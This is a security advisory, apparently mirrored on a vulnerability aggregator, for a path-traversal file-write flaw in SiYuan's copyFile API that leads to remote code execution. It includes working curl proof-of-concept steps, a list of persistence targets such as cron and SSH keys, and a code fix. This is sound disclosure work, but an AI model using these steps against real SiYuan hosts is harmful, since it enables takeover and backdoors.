Логотип exploitDog
Консоль
Логотип exploitDog

exploitDog

github логотип

GHSA-c4jr-5q7w-f6r9

Опубликовано: 29 янв. 2026
Источник: github
Github: Прошло ревью
CVSS3: 9.1

Описание

SiYuan has Arbitrary File Write via /api/file/copyFile leading to RCE

Summary

The /api/file/copyFile endpoint does not validate the dest parameter, allowing authenticated users to write files to arbitrary locations on the filesystem. This can lead to Remote Code Execution (RCE) by writing to sensitive locations such as cron jobs, SSH authorized_keys, or shell configuration files.

  • Affected Version: 3.5.3 (and likely all prior versions)

Details

  • Type: Improper Limitation of a Pathname to a Restricted Directory (CWE-22)
  • Location: kernel/api/file.go - copyFile function
// kernel/api/file.go lines 94-139 func copyFile(c *gin.Context) { // ... src := arg["src"].(string) src, err := model.GetAssetAbsPath(src) // src is validated // ... dest := arg["dest"].(string) // dest is NOT validated! if err = filelock.Copy(src, dest); err != nil { // ... } }

The src parameter is properly validated via model.GetAssetAbsPath(), but the dest parameter accepts any absolute path without validation, allowing files to be written outside the workspace directory.

PoC

Step 1: Upload malicious content to workspace

curl -X POST "http://target:6806/api/file/putFile" \ -H "Authorization: Token <API_TOKEN>" \ -F "path=/data/assets/malicious.sh" \ -F "file=@-;filename=malicious.sh" <<< '#!/bin/sh id > /tmp/pwned.txt hostname >> /tmp/pwned.txt'

Step 2: Copy to arbitrary location (e.g., /tmp)

curl -X POST "http://target:6806/api/file/copyFile" \ -H "Authorization: Token <API_TOKEN>" \ -H "Content-Type: application/json" \ -d '{"src": "assets/malicious.sh", "dest": "/tmp/malicious.sh"}'

Response: {"code":0,"msg":"","data":null}

Step 3: Verify file was written outside workspace

cat /tmp/malicious.sh # Output: #!/bin/sh # id > /tmp/pwned.txt # hostname >> /tmp/pwned.txt

Attack Scenarios

Target PathImpact
/etc/cron.d/backdoorScheduled command execution (RCE)
~/.ssh/authorized_keysPersistent SSH access
~/.bashrcCommand execution on user login
/etc/ld.so.preloadShared library injection

RCE Demonstration

RCE was successfully demonstrated by writing a script and executing it:

# Write script to /tmp curl -X POST "http://target:6806/api/file/copyFile" \ -H "Authorization: Token <API_TOKEN>" \ -d '{"src": "assets/malicious.sh", "dest": "/tmp/malicious.sh"}' # Execute (simulating cron or login trigger) sh /tmp/malicious.sh # Result cat /tmp/pwned.txt # uid=0(root) gid=0(root) groups=0(root)...

Impact

An authenticated attacker (with API Token) can:

  1. Achieve Remote Code Execution with the privileges of the SiYuan process
  2. Establish persistent backdoor access via SSH keys
  3. Compromise the entire host system
  4. Access sensitive data on the same network (lateral movement)

Suggested Fix

Add path validation to ensure dest is within the workspace directory:

func copyFile(c *gin.Context) { // ... dest := arg["dest"].(string) // Add validation if !util.IsSubPath(util.WorkspaceDir, dest) { ret.Code = -1 ret.Msg = "dest path must be within workspace" return } if err = filelock.Copy(src, dest); err != nil { // ... } }

Solution

d7f790755edf8c78d2b4176171e5a0cdcd720feb

Пакеты

Наименование

github.com/siyuan-note/siyuan/kernel

go
Затронутые версииВерсия исправления

<= 0.0.0-20260126094835-d5d10dd41b0c

Отсутствует

EPSS

Процентиль: 50%
0.00268
Низкий

9.1 Critical

CVSS3

Дефекты

CWE-22

Связанные уязвимости

CVSS3: 9.1
nvd
4 дня назад

SiYuan is a personal knowledge management system. Prior to version 3.5.5, the /api/file/copyFile endpoint does not validate the dest parameter, allowing authenticated users to write files to arbitrary locations on the filesystem. This can lead to Remote Code Execution (RCE) by writing to sensitive locations such as cron jobs, SSH authorized_keys, or shell configuration files. This issue has been patched in version 3.5.5.

EPSS

Процентиль: 50%
0.00268
Низкий

9.1 Critical

CVSS3

Дефекты

CWE-22